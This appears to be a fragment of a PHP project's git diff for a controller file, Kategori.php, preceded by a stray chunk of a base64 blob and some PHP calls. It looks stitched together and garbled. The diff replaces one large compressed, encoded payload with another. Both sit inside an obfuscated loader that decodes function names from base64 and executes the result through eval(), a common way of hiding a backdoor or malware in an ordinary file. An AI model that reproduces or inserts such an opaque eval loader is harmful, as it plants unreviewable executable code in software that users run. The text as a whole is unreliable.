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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Kategori.php b/donjo-app/controllers/Kategori.php index 2abe63f3c..3d0d99666 100644 --- a/donjo-app/controllers/Kategori.php +++ b/donjo-app/controllers/Kategori.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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